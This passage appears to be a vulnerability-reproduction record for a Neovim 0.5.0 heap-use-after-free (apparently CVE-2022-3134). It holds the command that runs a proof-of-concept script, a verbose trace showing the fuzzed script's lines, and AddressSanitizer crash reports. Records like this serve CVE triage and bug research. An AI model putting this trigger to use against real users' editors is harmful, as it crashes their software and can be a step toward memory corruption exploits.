f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==45515==ABORTING\n\n\nCommand:\n./nvim-0.5.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd!\n\nExecuting: autocmd BufReadCmd term://* nested :if !exists('b:term_title')|call termopen( matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: source shared.vim\n\nline 1: could not source \"shared.vim\"\nError detected while processing /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134:\nline    1:\nE484: Can't open file shared.vim\nline 2: vs*\\9A\\9A\\9A\\9A0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134)\nline 2: unlet! b:keymap_name\n\nline 3: ls*|s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\n  1 #a   \"[No Name]\"                    line 1\n  2 %a   \"*9A9A9A9A0\"                   line 1\nline 3: s\\9A\\9A\\9A\\9A\\9As^?y\" Test 'tagfunc'\n\nline    3:\nE10: \\ should be followed by /, ? or &\nline 4: \n\nline 5: func Test_tagfunc_settagstack()\n\nline 10:   set tagfunc=Mytagfunc1\n\nline 11:   call writefile([''], 'Xtest')\n\nline 12:   call assert_fails('tag xyz', 'E986:')\n\nline 12: tag xyz\n\nline 13: \n\nline 14:   func Mytagfunc2(pat, flags, info)\n\nline 18:   set tagfunc=Mytagfunc2\n\nline 19:   call assert_fails('tag xyz', 'E986:')\n\nline 19: tag xyz\n\ncalling function Mytagfunc2('xyz', '', {'buf_ffname': '/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/*9A9A9A9A0'})\n\nline 1: x   tag test_tag\n\nline 2:     return [{'name' : 'mytag', 'filename' : 'Xtest', 'cmd' : '1'}]\n\nfunction Mytagfunc2 returning [{'cmd': '1', 'name': 'mytag', 'filename': 'Xtest'}]\n\ncontinuing in /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3134/CVE-2022-3134\n=================================================================\n==45202==ERROR: AddressSanitizer: heap-use-after-free on address 0x6260000052e8 at pc 0x000000f37ee7 bp 0x7ffc56b25910 sp 0x7ffc56b25908\nWRITE of size 4 at 0x6260000052e8 thread T0\n    #0 0xf37ee6 in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:577:41\n    #1 0x9269a5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8674:3\n    #2 0x9170ba in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8637:3\n    #3 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #4 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #5 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #6 0x74d7cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5868:3\n    #7 0x7e3a5c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:446:26\n    #8 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #9 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #10 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #11 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #12 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #13 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #14 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #15 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #16 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #17 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #18 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #20 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #21 0x7ff3e25fd082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x45de8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x45de8d)\n\n0x6260000052e8 is located 8680 bytes inside of 10584-byte region [0x626000003100,0x626000005a58)\nfreed by thread T0 here:\n    #0 0x4d634d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d634d)\n    #1 0xb321c4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:121:3\n    #2 0x10b59be in win_free /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4704:5\n    #3 0x109c5d6 in win_free_mem /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2700:3\n    #4 0x107afad in win_close /home/zzw/Desktop/neovim/build/../src/nvim/window.c:2484:8\n    #5 0x914e20 in ex_exit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6778:5\n    #6 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #7 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #8 0x844f26 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1124:5\n    #9 0x841b06 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1568:11\n    #10 0x735f8e in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1070:9\n    #11 0xf4b068 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1179:12\n    #12 0xf3ab98 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1524:14\n    #13 0xf374bc in do_tag /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:482:11\n    #14 0x9269a5 in ex_tag_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8674:3\n    #15 0x9170ba in ex_tag /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8637:3\n    #16 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #17 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #18 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0x74d7cb in assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5868:3\n    #20 0x7e3a5c in f_assert_fails /home/zzw/Desktop/neovim/build/../src/nvim/eval/funcs.c:446:26\n    #21 0x841e15 in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1583:11\n    #22 0x8401ef in get_func_tv /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:466:11\n    #23 0x85a04a in ex_call /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:2968:9\n    #24 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #25 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #26 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #27 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #28 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #29 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n\npreviously allocated by thread T0 here:\n    #0 0x4d6742 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.5.0-ASAN+0x4d6742)\n    #1 0xb3225e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:135:15\n    #2 0x1080d74 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4550:19\n    #3 0x108d4af in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1133:12\n    #4 0x1078216 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:891:10\n    #5 0x8fae37 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7068:14\n    #6 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #7 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #8 0x8c1a49 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:3019:5\n    #9 0x8be898 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2633:14\n    #10 0x8bee70 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2614:3\n    #11 0x8dab85 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1968:5\n    #12 0x8ccf32 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:598:20\n    #13 0x8d0913 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #14 0xa9314e in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1731:5\n    #15 0xa8b550 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:508:5\n    #16 0x7ff3e25fd082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:577:41 in do_tag\nShadow bytes around the buggy address:\n  0x0c4c7fff8a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8a50: fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd\n  0x0c4c7fff8a60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8a90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8aa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==45202==ABORTING", "creation_timestamp": "2026-09-20T08:58:43.843650Z"}]}